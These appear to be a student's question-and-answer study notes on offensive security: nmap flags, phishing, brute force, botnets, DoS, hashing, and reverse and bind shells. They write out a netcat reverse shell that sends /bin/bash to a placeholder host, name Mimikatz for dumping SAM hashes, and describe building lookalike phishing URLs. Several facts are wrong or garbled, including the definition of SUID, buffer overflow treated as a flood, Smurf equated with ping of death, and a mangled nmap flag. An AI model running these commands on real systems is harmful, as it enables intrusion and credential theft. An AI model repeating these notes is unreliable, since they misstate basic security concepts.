**Chapter 4 – Exploitation**

* **-vvv:** Shows information during scan
* **-p-:** scans all ports
* **-**-**open**: checks only open ports
* **-sS**: performs SYN scans (less detectable and faster)
* **--min-rate 5000:** fast scanning as it sends packets at a higher rate
* **-Pn**: disables host discovery
* **-n:** prevents from DNS resolving

1. **What is Remote Code Execution?**

This happens when an attacker runs a malicious code on the organization’s computers or network. This aims to deploy additional malwayre or steal private information.

1. **What is an example of a phishing attack?**

A spoofed email from myuniversity.edu is mass-distributed to as many faculty members as possible. It claims that their account is about to expire so it tricks the user into entering username and password to renew account.

1. **How to create a fake URL?**

Create a URL that has is very similar to the domain, but just add extra subdomain or misspell some words in it.

1. **How to protect against Phishing?**

* Security awareness for employees
* Two factor authentication mechanism
* Password management system

1. **What are brute forcing attacks?**

It’s when trial and error methods are used to crack passwords, login credentials, and encryption keys.

1. **What are the types of brute force attacks?**

|  |  |
| --- | --- |
| **Simple Brute Force Attacks** | Trying to guess the username’s password without using any technology |
| **Dictionary Brute Force Attacks** | running through the dictionary and amending words using special characters and numbers to test possible passwords against usernames. |
| **Hybrid Brute Force Attacks** | A combination of dictionary and simple brute force attacks. |

1. **What is a tool used for Brute Force Attacks?**

Hydra

1. **What is a botnet?**

A network of computers infected by malware.

The bot-herder is the attacker, and this means that the attack came from one source. The attacker can rent parts of the botnet online for financial gain as the attack is remote.

1. **What are some actions related to botnets?**

* **Email Spam:**  Ex: Cutwail
* **Financial breach:** ZeuS botnet (fund thefts)
* **DDOS Attacks:** Overloads or floods the service or network with requests
* **Targeted intrusions:** targets very important assets

1. **What are the types of DOS Attacks?**

**There are generally two types: flooding and crashing services.**

|  |  |
| --- | --- |
| **Buffer overflow attacks** | The attacker sends more traffic than the system can handle. This excess data can overwrite adjacent memory, allowing the attacker to run a malicious code or crash the system. |
| **ICMP flood** | Aka. Smurf attack or ping of death  This when the attacker overwhelms the system with so many echo/ping requests to make the service unavailable/crash it. |
| **SYN flood** | Sends request to connect to as server but doesn’t complete the handshake, saturating all the open ports with these requests, consumes all server resources, A high volume of SYN packets are sent from spoofed IP addresses |

1. **What’s the difference between DOS and DDOS attacks?**

|  |  |
| --- | --- |
| **DoS** | **Smaller Scale.**  **The attacker uses a single internet connection to barrage the target with fake requests.** |
| **DDOS** | **Distributed DOS attack is a subset of the DOS attack.**  **Larger scale** |

1. **How to protect against DDOS attacks?**

|  |  |
| --- | --- |
| **Black Hole Routing** | **The admin pushes all the traffic through a black hole. Very extreme and can cause losses as both good and bad packets can be dropped from the network.** |
| **Rate Limiting** | **Limit the number of requests the server can accept per a unit of time** |
| **Firewalls** | **Create a set of rules to filter requests** |

1. **What are hashes?**

When a piece of data of any length is represented in a fixed length, masking the original piece of data by using an algorithm like MD5 and SHA1. This is done through a cryptographic hash function.

1. Adding **salt** when hashing is necessary to make **all hashes unique** and to protect against data theft.
2. **What is SAM?**

It is the Security Account Manager that contains all usernames and passwords.

1. **How do you acquire NTLM hash?**

Dump SAM database on a windows machine. Use a tool like Mimikatz.

1. **What is a tool used for cracking passwords?**

John the Ripper.

1. **What to do when John the Ripper doesn’t identify the type of hash**

Use the hash-identifier library.

1. **What is a shell?**

This is used when we are interfacing with a command line interface

1. **What is the difference between the reverse shell and the bind shell?**

|  |  |
| --- | --- |
| **Bind Shell** | **Reverse Shell** |
| Open a port on the server in which we can connect to execute further commands.  The target starts a listener that’s attached directly on the target.  May be prevented by firewall rules but no need for configuration. | We can force the remote server to send us command line access to the server  The user is forced to execute a code that connects back to your computer (the attacker)  Good for bypassing firewalls rules  You need to configure your own network to accept the shell. |

1. **What can be used as a permanent backdoor?**

A webshell

1. **True or false: Web shells are malicious tools used by attackers to compromise web servers. False, malicious scripts**
2. **Netcat**

|  |  |
| --- | --- |
| **ATTACKER** | **VICTIM** |
| * nc -lvnp <port-number>   nc: runs netcat  -l: listens for connections  -v: gives more information  -n: skip DNS lookup  -p specifies port number | nc <target-ip> <chosen-port> -e  /bin/bash  Now a reverse shell is created |

1. **What can be used to create reverse and bind shells and payloads ?**

**Msfvenom**

1. **Types of Payloads**

|  |  |
| --- | --- |
| **Staged Payloads** | **Stage less Payloads** |
| * **Sent in two parts** * **First part: Stager (performed on server)** * **It connects to a listener but doesn’t contain any reverse shell by itself** | **It is self-contained.**  **The one code when executed sends a shell back to the waiting listener.** |

1. **What is privilege escalation?**

**Exploiting a vulnerability or flaw in the system to gain higher access.**

1. **When the file permissions has the SUID set, this means that only the owner can execute the file.**